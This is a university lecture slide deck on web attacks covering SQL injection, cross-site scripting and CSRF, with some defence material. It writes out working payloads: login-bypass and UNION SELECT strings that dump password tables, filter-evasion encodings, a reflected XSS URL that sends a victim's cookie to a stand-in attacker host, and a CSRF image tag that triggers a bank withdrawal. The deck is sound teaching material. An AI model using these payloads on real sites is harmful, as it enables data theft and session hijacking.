
Web Attacks II
John E. Savage
Brown University
Overview

• OWASP Ten Ten Threats
• SQL injection attacks
  – Exploiting SQL commands, probing for vulnerabilities
• Cross-site scripting (XSS) attacks
  – Reflected, stored and DOM-based attacks
• Cross-site request forgery (CSRF) attacks

OWASP 2013 Top Ten Threats

1. Injection (SQL, OS, LDAP)
2. Broken authentication and session management
3. Cross-site scripting (XSS)
4. Insecure direct object references
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-site request forgery (CSRF)
9. Using components with known vulnerabilities
10. Unvalidated redirects and forwards
Attacking Data Stores

• Nearly all applications use data stores
  – Sometimes a data store drives application logic
• Typically, common privilege used for all ops
  – Higher privileges imply more damage due to breakin
• Common stores:
  – SQL, XML repositories, LDAP directories
• Core database languages are interpreted
  – Injecting code can alter intended commands
SQL Database Queries

• Structured Query Language (SQL) access tabular relational databases.

<table>
<thead>
<tr>
<th>id</th>
<th>title</th>
<th>author</th>
<th>body</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Computers</td>
<td>John</td>
<td>Message1</td>
</tr>
<tr>
<td>2</td>
<td>Databases</td>
<td>Joe</td>
<td>Message2</td>
</tr>
<tr>
<td>3</td>
<td>Technology</td>
<td>Jane</td>
<td>Message3</td>
</tr>
<tr>
<td>4</td>
<td>Security</td>
<td>Julia</td>
<td>Message4</td>
</tr>
</tbody>
</table>

• SELECT * FROM table WHERE id = 2 - command to select rows

<table>
<thead>
<tr>
<th>id</th>
<th>title</th>
<th>author</th>
<th>body</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Databases</td>
<td>Joe</td>
<td>Message2</td>
</tr>
</tbody>
</table>

• SELECT author FROM table WHERE title = Security
  • Julia
Injected Into SQL

• Bypassing a login example:
  SELECT * FROM users WHERE username = 'marcus'
  AND password = 'secret'

• If a user provides admin instead of marcus, they might be able to guess password. Simpler to
  – Provide admin’ - - // dashes start a comment

• Result is
  SELECT * FROM users WHERE username = 'admin’ - -

• The admin password is produced!
Obtaining All Login Information

• 2\textsuperscript{nd} approach, replace user name with ‘ OR 1=1 - -
• Command that is executed is
SELECT * FROM users WHERE username = ‘’ OR 1=1 - -
• Effect is to dump the entire users table.
SQL Injection Can Be Very Dangerous

• $title = ‘Security’;
  – Here is a typical command executed by server:
    exec_sql('SELECT author FROM record_table WHERE title = $title');

  No problem when $title = ‘Security’;

• But what if
  – $title = ‘Security; DROP TABLE record_table’;
    exec_sql('SELECT author FROM record_table WHERE title = $title');

  Serious problem in this case. After the SELECT command is run, the DROP TABLE command is run. VERY BAD
Avoiding SQL Injections

• Injection attacks can be avoided in many cases by properly designed APIs
• However, web designers may take shortcuts, thereby exposing databases to such attacks
• In this case, a good hacker needs to know how to execute SQL injections
Formatting SQL Queries

• Here is a typical SQL query:
  
  ```sql
  SELECT author, title, year FROM books WHERE publisher = 'Wiley' AND published=1
  ```

• Keywords are SELECT, FROM, WHERE, AND

• Words to left of = denote field names

• Strings must be within single quotes
  
  — If Wiley replaced by O’Reilly, the ’ terminates the query and generates an error message.
  
  — If the attacker replaces Wiley by Wiley’ OR 1=1 -- all the books in the database will be output.
Other Types of SQL Operations

• INSERT INTO statements add rows to tables
  E.g. INSERT INTO users (username, password, ID, privs) VALUES
       (‘daf’, ‘secret’, 2248, 1)

• UPDATE statements modify rows in a table
  E.g. UPDATE users SET password=’newsecret’ WHERE user =
       ‘marcus’ and password = ‘secret’
  Exploit: give admin’ == as input to eliminate admin password!

• DELETE statements delete rows in a table

• ORDER BY statements select between ASC or DESC
Exploiting INSERT INTO

• If INSERT INTO statement supplied to user, but number of parameters unknown, try
  – foo’ ) - -
  – foo’, 1 ) - -
  – foo’, 1, 1 ) - -
  – foo’, 1, 1, 1) - -

• Until no errors are produced.
Probing for SQL Injection Bugs

• Test all inputs (includes URL parms, cookies, HTTP headers, POST data) for back-end DB access.

• For string inputs, must break out of quotations
  – Try single quotation, if an error try two single quotes. Two denote a single quote in text. If error disappears, SQL injection may be possible.
  – You can also try using the concatenation operator
Probing for SQL Injection Bugs

• Numeric data may be treated as strings.
  – Test by supplying formula producing same value
  – If application responds same way, may be exploitable

• Caveat: Certain chars have meaning in HTML
  – & and = join name/value pairs, use %26 and %3d
  – Spaces not allowed in strings; replaced with + or %20
  – Must use %2b instead of +
  – Semicolon is %3b
Fingerprinting Databases

• There are small but important differences between databases
• Thus, must determine which type is used
• These tests generate errors on the wrong DB
  – **Oracle**: BITAND(1,1)-BITAND(1,1)
  – **MS-SQL**: @@PACK_RECEIVED@@PACK_RECEIVED
  – **MySQL**: CONNECTION_ID()-CONNECTION_ID()
UNION Operator

• UNION operator combines multiple SELECT ops
• If vulnerability, can combine 2\textsuperscript{nd} query with 1\textsuperscript{st}
• Might extract arbitrary data from database.
• In SELECT author, title, year FROM books WHERE publisher = ‘Wiley’
• Replace Wiley with to expose admin password!

Wiley’ UNION SELECT username, password, uid, FROM user

<table>
<thead>
<tr>
<th>Author</th>
<th>Title</th>
<th>Year</th>
</tr>
</thead>
<tbody>
<tr>
<td>Litchfield</td>
<td>The Database Hbk</td>
<td>2005</td>
</tr>
<tr>
<td>Anley</td>
<td>Shellcoder’s Hbk</td>
<td>2007</td>
</tr>
<tr>
<td>admin</td>
<td>R00tr0x</td>
<td>0</td>
</tr>
<tr>
<td>cliff</td>
<td>Reboot</td>
<td>1</td>
</tr>
</tbody>
</table>
Bypassing Filters

• Techniques to avoid blocked characters
  SELECT ename, sal FROM emp WHERE ename='marcus'

• Is equivalent to
  SELECT ename, sal FROM emp WHERE ename=CHAR(109) +CHAR(97) +CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)

• If SELECT is blacklisted, try following HTML encodings
  Select
  %00SELECT
  SELECT
  %53%45%4c%45%43%54
  %2553%2545%254c%2545%2543%2554
Second-Order SQL Injection

- Input data may be sanitized, then stored in DB
- But, it may not be sanitized when retrieved
- SQL injections may be possible here
Other Web Hacking Options

• Can exploit vulnerabilities in numeric data:
  – ASCII(SUBSTRING(‘Admin’,1,1)) returns 65 (A)
  – Use this to extract letter or bit per query

• Out of band communication may be possible!
  – DBs have commands to send results to yourself

• Using conditional errors to extract information
  – Canonical example: SELECT X FROM Y WHERE C
  – If X = 1/0, an error occurs if C succeeds on any row of Y
  – E.g. let C be true if admin password is P_{admin} in psswd tbl

• SQL injection tools exist, such as sqlmap
Attacking Users

• **Cross-site scripting (XSS) attacks** are launched by placing malicious code on a popular web site
  – A user downloads and executes the arbitrary malicious code with user access privileges.
  – Most prevalent web app vulnerability.
  – Can be turned into virus or worm

• **Cross-site request forgery (CSRF) attacks** use session token from another site to authorize an illicit transaction
Types of XSS Attacks

• In 2007 Symantec said they were 84% of all security vulnerabilities

• Reflected XSS attacks
  – Malicious code bounced back to user

• Stored XSS attacks
  – Malicious code retrieved from compromised site

• DOM XSS attacks
  – Attacks appear in Document Object Model, not HTML
Reflected XSS Vulnerabilities

• To simplify display of error messages, developers often create a domain that will put up messages:
  http://mysite.net/error/5/Error.ashx?message=Sorry%2c+an+error+occurred

• Script received from a trusted server, may run it

• XSS test: Send message=<script>alert(1)</script>
  – If alert box appears at user, server vulnerable to XSS!

• Reflected XSS attacks are 75% of all XSS attacks!
Exploiting Reflected XSS

- Attacker sends victim email with link containing malicious Javascript to site with reflection vulnerability.
- Javascript is reflected from the site and executed on victim’s computer.

Image source: http://www.veracode.com/security/xss
Reflected XSS Illustration

• After victim has session cookie, attacker feeds victim this URL, which victim follows:

  http://mysite.net/error/5/Error.ashx?message=<script>var+i=new+Image
 ;+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>

• The victim executes the following script:

  var i=new Image; i.src=“http://mdattacker.net/”+document.cookie;

• A request is made to attacker via a GET

  GET /sessId=184a9138ed37374201a4c9672362f1242491a3 HTTP/1.1
  Host: mdattacker.net

• Attacker extracts victim’s cookie from GET and can now hijack the victim’s session with web site
Protection Against XSS Attack

• The **same origin policy** can offer protection
  – Web sites comingle content from different domains
  – Browser access to a cookie is restricted to the domain that issued it
  – Only Javascript that originated on the issuing domain is allowed to access.

• Thus, attacker must **trick the victim into sending a script to the domain issuing the cookie**
Stored XSS Vulnerabilities

- Attacker posts item to a site that allows it
- Item contains script that activates malicious activity on user’s site when the posting is read
- This is a second-order XSS, not a true one but it is called an XSS by the community
DOM-Based XSS Vulnerabilities

- Attacker supplies URL for a trusted server that has malicious Javascript embedded in it.
- Client is tricked into visiting the URL.
- If the application HTML uses DOM commands to extract data from URL, client’s DOM will execute Javascript. Can send confidential info to attacker.
- HTML served to client does not show Javascript.
DOM-Based XSS Vulnerabilities

• If application HTML contains following:
  
  ```html
  <script>
  var url = document.location;
  url = unescape(url);
  var message = url.substring(url.indexOf('message=') + 8, url.length);
  document.write(message);
  </script>
  // This code assigns value to message, a DOM variable
  ```

• If victim loads the URL:
  
  http://mysite.net/error/5/Error.ashx?message=<script>alert('xss”</script>

• Variable “message” is executed by client.

• Arbitrary Javascript can be executed this way!
Another DOM-Based XSS Example

• Suppose application contains following script:
  <script>
    document.write("<b>Current URL</a>:" + document.base.URI);
  </script>

• Let client follow this URL:
  http://mysite.net/error/5/Error.ashx#<script>alert('xss')</script>

• When application HTML is run, it modifies DOM by writing a string containing URL.
• When DOM is executed, so is embedded Javascript
Serious XSS Attacks

• In 2010 Apache Foundation attacker got administrative access via XSS reflector attack
• In 2005 MySpace suffered a stored XSS attack. User circumvented filters.
  – Anyone viewing attacker profile downloaded the circumventions to theirs, resulting in a worm
• Types of XSS attacks:
  – Defacement, inserting Trojan, etc.
Defending Against XSS

• XSS is a client-side vulnerability due to failure on server side to sanitize inputs from users.
• Some browsers prevent XSS by stripping such chars. Browsers warn users that html contains scripts and ask if scripts are allowed to be run.
• To protect against DOM XSS, avoid user-controlled input.
Cross-Site Request Forgery (CSRF)

• This is an extension of XSS:
  – Attacker does an XSS that causes user’s browser to contact a trusted third party, e.g. a bank, and execute a command.

• Example:
  – Alice visits Eve’s website which returns this html code:

    Hello Alice. Look here:
    <img src="http://bank.boston.com/withdraw?account=Alice&amount=1000&for=Eve”>

  – http command in Alice’s browser sends funds from Bank of Boston to Eve because Alice has cookie authorizing the access

• Eve tricks Alice into sending her $1,000.
Review

• OWASP Top Ten Threats
• SQL injection attacks
  – Exploiting SQL commands, probing for vulnerabilities
• Cross-site scripting (XSS) attacks
  – Reflected, stored and DOM-based attacks
• Cross-site request forgery (CSRF) attacks